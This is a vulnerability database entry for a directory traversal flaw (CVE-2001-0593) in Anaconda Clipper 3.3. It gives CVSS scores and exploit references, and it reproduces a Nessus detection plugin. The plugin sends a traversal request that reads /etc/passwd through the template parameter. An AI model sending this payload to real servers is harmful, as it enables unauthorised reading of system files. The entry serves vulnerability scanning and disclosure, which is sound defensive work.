Vulnerabilities > CVE-2001-0593 - Directory Traversal vulnerability in Anaconda Clipper

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
anaconda-partners
nessus
exploit available
NVD
Published: 2001-08-22
Updated: 2018-11-16

Summary

Anaconda Partners Clipper 3.3 and earlier allows a remote attacker to read arbitrary files via a '..' (dot dot) attack in the template parameter.

Vulnerable Configurations

Part Description Count
Application
Anaconda_Partners
1

Exploit-Db

descriptionAnaconda Clipper 3.3 Directory Traversal Vulnerability. CVE-2001-0593. Remote exploit for cgi platform
idEDB-ID:20714
last seen2016-02-02
modified2001-03-27
published2001-03-27
reporterUkR hacking team
sourcehttps://www.exploit-db.com/download/20714/
titleanaconda clipper 3.3 - Directory Traversal Vulnerability

Nessus

NASL familyCGI abuses
NASL idANACONDACLIP.NASL
descriptionThe CGI script
last seen2020-06-01
modified2020-06-02
plugin id10644
published2001-03-28
reporterThis script is Copyright (C) 2001-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10644
titleAnanconda Partners Clipper anacondaclip.pl Traversal Arbitrary File Access
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if(description)
{
 script_id(10644);
 script_bugtraq_id(2512);
 script_cve_id("CVE-2001-0593");
 script_version ("1.32");
 script_name(english:"Ananconda Partners Clipper anacondaclip.pl Traversal Arbitrary File Access");
 script_summary(english:"Checks for the presence of anacondaclip.pl");

 script_set_attribute(attribute:"synopsis", value:
"The remote host contains a Perl script which is affected by a
directory traversal vulnerability." );
 script_set_attribute(attribute:"description", value:
"The CGI script 'anacondaclip', which comes with anacondaclip.pl, is
installed on this machine. This CGI has a well-known security flaw
that allows an attacker to read arbitrary files on the remote system
with the privileges of the HTTP daemon (usually root or nobody)." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2001/Mar/422" );
 script_set_attribute(attribute:"solution", value:
"There is no known solution at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"plugin_publication_date", value: "2001/03/28");
 script_set_attribute(attribute:"vuln_publication_date", value: "2001/03/27");
 script_cvs_date("Date: 2018/11/15 20:50:16");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
 script_category(ACT_GATHER_INFO);
 
 script_copyright(english:"This script is Copyright (C) 2001-2018 Tenable Network Security, Inc.");
 family["english"] = "CGI abuses";
 script_family(english:family["english"]);
 script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

foreach dir (cgi_dirs())
{
r = http_send_recv3(method:"GET", port: port,
  item:string(dir, "/anacondaclip.pl?template=../../../../../../../../../../../../../../../etc/passwd"));
if (isnull(r)) exit(0);
buf = strcat(r[0], r[1], '\r\n', r[2]);
if(egrep(pattern:".*root:.*:0:[01]:.*", string:buf)){
	security_warning(port);
	exit(0);
	}
}

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